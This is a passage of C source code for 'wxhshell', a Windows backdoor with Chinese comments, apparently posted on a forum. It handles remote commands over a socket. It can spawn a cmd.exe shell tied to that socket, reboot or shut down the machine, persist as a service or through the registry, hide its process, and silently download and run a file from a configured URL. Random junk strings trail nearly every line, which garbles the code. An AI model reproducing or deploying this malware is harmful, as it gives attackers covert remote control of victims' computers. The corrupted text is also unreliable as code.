  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ugLlI2 nJ  
  } mp1ttGUtM  
  else { .T8K-<R  
G\kpUdj}  
    switch(cmd[0]) { 4MLH+/e  
  Oaa"T8t  
  // 帮助 (%'9CfPx  
  case '?': { .Y\EE;8%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ee)xnY%(  
    break; gCJIIzl%Bh  
  } hqDqt"dKz  
  // 安装 9:8|)a(1  
  case 'i': { EI1? GB)b  
    if(Install()) o\!qcoE2W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]Y*0Wzpfn  
    else t,<UohL|z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (>7>3  
    break; >bIF>9T  
    } Y3rt5\!  
  // 卸载 9 <\`nm  
  case 'r': { PVYyE3`UB  
    if(Uninstall()) 3i=Iu0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fe!9y2Mg  
    else JN(-.8<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H M:r0_  
    break; L;/n!k.A  
    } ?fK1  
  // 显示 wxhshell 所在路径 yWb4Ify  
  case 'p': { rQr!R$t/[  
    char svExeFile[MAX_PATH]; ,Eu?JH&}u  
    strcpy(svExeFile,"\n\r"); U(,.D}PG  
      strcat(svExeFile,ExeFile);  rLv;Y  
        send(wsh,svExeFile,strlen(svExeFile),0); Ia4)uV8  
    break; #fDs[  
    } *C2R`gpBI  
  // 重启 ^sClz*%?  
  case 'b': { 27#5y_ `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #*^+F?o,(  
    if(Boot(REBOOT)) 5-vo0:hk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kw5>c7  
    else { [Qj;/  
    closesocket(wsh); <]d LX}C)  
    ExitThread(0); d%ME@6K)  
    } Hj6'pJ4  
    break; ue{xnjw>U  
    } ,={t8lN  
  // 关机 {' 5qv@3  
  case 'd': { m;,xmEp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7wVH8^|  
    if(Boot(SHUTDOWN)) ^4pto$#@O:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx!=q8=0R  
    else { n7! H:{L  
    closesocket(wsh); FHg0E++?  
    ExitThread(0); 6v732;^  
    } >: Wau  
    break; ^%<pJMgdF  
    } K7(MD1tk  
  // 获取shell n}nEcXb  
  case 's': { 8@\7&C(g17  
    CmdShell(wsh); jndGiMA  
    closesocket(wsh); ?Bx./t><  
    ExitThread(0); vHKlLl>*2  
    break; <02m%rhuW  
  } qJv[MBjk3B  
  // 退出 r'4:)~]s  
  case 'x': { eJ@~o{,?>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GbZ;#^S  
    CloseIt(wsh); K=\O5#F?3  
    break;  jNyoN1M  
    } #&8rcu;/  
  // 离开 7Y( 5]A9=  
  case 'q': { Ng=ONh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  9A$m$  
    closesocket(wsh); v"O5u%P  
    WSACleanup(); !8RwO%c(  
    exit(1); tWPO]3hW  
    break; {D`T0qPT[  
        } osP\D iQ  
  } $l[Rh1z`;+  
  } ftbpqp'  
01@t~v3!Z  
  // 提示信息 4P8*k[.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jjm|9|C,  
} K[?Xm"4  
  } n1v5Q2xw  
g@ith&*=h  
  return; [(mlv42"  
} 3iX?~  
CA s>AXbs  
// shell模块句柄 Ym8}ZW-  
int CmdShell(SOCKET sock) m`A% p  
{ &#w=7L3AW  
STARTUPINFO si; E-2 eOT  
ZeroMemory(&si,sizeof(si)); Y] g?2N=E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G4-z3e,crr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,xi({{L*  
PROCESS_INFORMATION ProcessInfo; AC- )BM';  
char cmdline[]="cmd"; ]0j9>s2|Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z;DCI-Wg  
  return 0; dJk9@u  
} Gh( A%x)  
t ?eH'*>  
// 自身启动模式 @%ECj)u`O  
int StartFromService(void) f'Mop= .  
{ ,_ 2x{0w:>  
typedef struct N_gD>6I  
{ Bi%x`4Lf  
  DWORD ExitStatus; 1NLg _UBOK  
  DWORD PebBaseAddress; `ldz`yu6++  
  DWORD AffinityMask; Me3dpF  
  DWORD BasePriority; 2DDsWJ;  
  ULONG UniqueProcessId; \?fIt?  
  ULONG InheritedFromUniqueProcessId; } p:%[  
}   PROCESS_BASIC_INFORMATION; %&<LNEiUN  
(P|pRVO  
PROCNTQSIP NtQueryInformationProcess; g_.^O$}  
m_NCx]#e   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EG<s_d?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8At<Wic  
['qnn|  
  HANDLE             hProcess;  :$r ^_  
  PROCESS_BASIC_INFORMATION pbi; YA]5~ ZE\  
KLWDo%%u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tl("IhkC  
  if(NULL == hInst ) return 0; Q[4: xkU  
fxQN+6;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $iw%(H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %yS3&Ju  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p s|)cW3`  
kGYTl,A{  
  if (!NtQueryInformationProcess) return 0; tln37vq  
5]Ajf;W\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }FqA ppr  
  if(!hProcess) return 0; 5g5'@vMN  
umEVy*hc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; va)%et0!  
:$3oFN*g  
  CloseHandle(hProcess); WgQBGch,!  
rS XzBi{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (8a#\Y[b  
if(hProcess==NULL) return 0; pbXi9|bI  
aptY6lGv-|  
HMODULE hMod; G=9d&N  
char procName[255]; a:STQk V  
unsigned long cbNeeded; SI:ifR&T  
2][DZl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &"Ux6mF-"  
:;]Oc  
  CloseHandle(hProcess); V4w=/e _  
Rd*[%)  
if(strstr(procName,"services")) return 1; // 以服务启动 $14:(<  
vG41Ck1  
  return 0; // 注册表启动 ~+F;q vq  
} _"a=8a06G  
pJIv+  
// 主模块 3(E $I5  
int StartWxhshell(LPSTR lpCmdLine) "f.Z}AbP  
{ IZ,oM!Y  
  SOCKET wsl; |,C#:"z;  
BOOL val=TRUE; }WLh8i?_  
  int port=0; d I'SwnR  
  struct sockaddr_in door; JH,/jR  
sY SLmUZ{  
  if(wscfg.ws_autoins) Install(); RzKb{> ;A  
NPnHH:\;  
port=atoi(lpCmdLine); %:v`EjRD0  
=qVP]  9  
if(port<=0) port=wscfg.ws_port; <=K qc Hb  
6 ,ANNj  
  WSADATA data; _u0$,Y?&|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g2cVZ!GIj  
xb2?lL]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tl yJmdl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T.e.{yO  
  door.sin_family = AF_INET; 7j<e)"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k`KGB  
  door.sin_port = htons(port); <!d"E@%v@  
"8f?h%t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j V3)2C}  
closesocket(wsl); h!@,8y[B  
return 1; U%<rn(xWXD  
} #Il_J\#  
PG%0yv%  
  if(listen(wsl,2) == INVALID_SOCKET) { R{YzH56M  
closesocket(wsl); a dfR!&J  
return 1; ,U,By~s  
} sUkm|K`#  
  Wxhshell(wsl); 6rti '  
  WSACleanup(); )KSoq/  
TA18 gq  
return 0; 2.uA|~qH  
9Ru;`  
} IE~%=/|  
H;ZHqcUX  
// 以NT服务方式启动 7u.|XmUz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \`.F\ Z  
{ E8\XNG)V4  
DWORD   status = 0; -[7O7'  
  DWORD   specificError = 0xfffffff; #U7_a{cn"M  
)P&9A)8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y8Xv~4qQW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5i6 hp;=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >B -q@D  
  serviceStatus.dwWin32ExitCode     = 0; b}!3;:iD  
  serviceStatus.dwServiceSpecificExitCode = 0; I_)*)d44_  
  serviceStatus.dwCheckPoint       = 0; MZv]s  
  serviceStatus.dwWaitHint       = 0; $P o}  
:PY tR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'XOX@UH d  
  if (hServiceStatusHandle==0) return; mABe'"8  
1$lh"fHU  
status = GetLastError(); ;oO v/3  
  if (status!=NO_ERROR) /?-7Fg+,  
{ <G8w[hs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3:/'n  
    serviceStatus.dwCheckPoint       = 0; K ?$#nt p  
    serviceStatus.dwWaitHint       = 0; Yd cK&{  
    serviceStatus.dwWin32ExitCode     = status; Bvjl-$m!v  
    serviceStatus.dwServiceSpecificExitCode = specificError; uwIc963  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \$*$='6"  
    return; j5$BK[p.  
  } ,3DXFV'uxb  
)U<Y0bZA!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~|Y>:M+0Z  
  serviceStatus.dwCheckPoint       = 0; NVV}6TUV  
  serviceStatus.dwWaitHint       = 0; JWP*>\P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?/*~;fM  
} \a^,sV  
H&}ipaDO  
// 处理NT服务事件,比如:启动、停止 + A_J1iJ<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h #Z4pN8T3  
{ wmr-}Y!9u%  
switch(fdwControl) lb' Cl3H  
{ 6~meM@  
case SERVICE_CONTROL_STOP: ?wpB`  
  serviceStatus.dwWin32ExitCode = 0; <oMUQ*OtV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CDy^UQb  
  serviceStatus.dwCheckPoint   = 0; bEuaOBc  
  serviceStatus.dwWaitHint     = 0; i=FQGWAUu  
  { HHk)ZfWRo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PG5- ;i/  
  } 9<CG s3\  
  return; u<ySd?  
case SERVICE_CONTROL_PAUSE: =;~I_)Pg1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N^?9ZO   
  break; }S_oH9A  
case SERVICE_CONTROL_CONTINUE: pj|pcv^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JHn*->m  
  break; ]Z<_ " F  
case SERVICE_CONTROL_INTERROGATE: RWq{Ff}Hk  
  break; /x@RNdKv  
}; A^fjfa);V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Doze8pn  
} ^S)TO}e  
_,h@:Xij  
// 标准应用程序主函数 (3vHY`9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -#`c5y}P  
{ 92W&x'  
DdV'c@rq+  
// 获取操作系统版本 ] 7;f?+  
OsIsNt=GetOsVer(); J a,d3K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W\*-xf|"d  
2R-A@UE2  
  // 从命令行安装 8am`6;O:!  
  if(strpbrk(lpCmdLine,"iI")) Install(); PnT)LqEF  
=#5D(0Ab  
  // 下载执行文件 YL^=t^ !4  
if(wscfg.ws_downexe) { @# P0M--X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {xcZ*m!B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1tzV8(7  
} ,M !tm7  
}|)R   
if(!OsIsNt) { HYr}wG  
// 如果时win9x,隐藏进程并且设置为注册表启动 RH0>ZZR  
HideProc(); >r5P3G1  
StartWxhshell(lpCmdLine); QA!_} N4n  
} =64r:E  
else jP vDFT^d/  
  if(StartFromService()) ]6Ug>>x5  
  // 以服务方式启动 E&$_`m;  
  StartServiceCtrlDispatcher(DispatchTable); ~iBgw&Y  
else #4LFG\s  
  // 普通方式启动 Uh}seB#mJj  
  StartWxhshell(lpCmdLine); 4wzlJ19E(  
gB,G.QM*6  
return 0; w^k;D,h  
}
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只看该作者 1 发表于: 2006-10-10
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